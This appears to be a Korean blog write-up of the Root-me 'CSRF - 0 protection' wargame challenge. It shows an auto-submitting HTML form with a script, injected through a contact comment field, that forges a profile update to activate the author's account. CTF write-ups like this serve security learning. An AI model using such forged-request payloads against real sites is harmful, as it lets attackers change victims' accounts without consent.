ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <Root-me> CSRF - 0 protection
    Wargame/Root-me = Web - Client 2021. 12. 24. 13:24

    CSRF - 0 protection

    인트라넷에 접속하기 위해 계정을 활성화시키라고 한다.

    먼저 Register를 통해 woong으로 가입을 하고 로그인을 한다.

     

    Profile을 살펴보면

    Status 체크박스가 비활성화되어있다.

     

    Private를 살펴보면

    기다리라고 한다.

     

    Contact를 살펴보면

    이메일과 코멘트를 입력할 수 있다.

    문제 제목이 CSRF인 만큼, Contact를 통해 계정을 활성화시켜야 할 것 같다.

     

    Profile 페이지의 소스 코드를 살펴보면

    우리에게 필요한 부분은 form 태그로 감싸진 부분이다.

     

    필요한 부분만 추리면

    <form action="?action=profile" method="post" enctype="multipart/form-data">
        <input type="text" name="username" value="woong">
        <input type="checkbox" name="status" disabled >
    </form>

    그리고 action을 Profile의 full URL로 변경하고, status가 체크되어야 하므로 disabled를 checked로 바꾼다.

    여기까지만 입력하면 form이 제출되지 않는다.

     

    따라서, form에 id를 부여하고, getElementById를 통해 form을 참조하게 해야 한다.

    <form id="csrf" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data">
        <input type="text" name="username" value="woong">
        <input type="checkbox" name="status" checked >
    </form><script>document.getElementById("csrf").submit();</script>

    위 구문을 Contact의 Comment에 입력하여 제출하고 Private에 들어가 보면

    flag를 얻을 수 있다.

    'Wargame > Root-me = Web - Client' 카테고리의 다른 글

    <Root-me> Install files  (0) 2022.01.05
    <Root-me> XSS - Stored 1  (0) 2022.01.04
    <Root-me> CSP Bypass - Inline code  (0) 2021.12.22
    <Root-me> Javascript - Obfuscation 3  (0) 2021.12.20
    <Root-me> Javascript - Native code  (0) 2021.12.19
Designed by Tistory.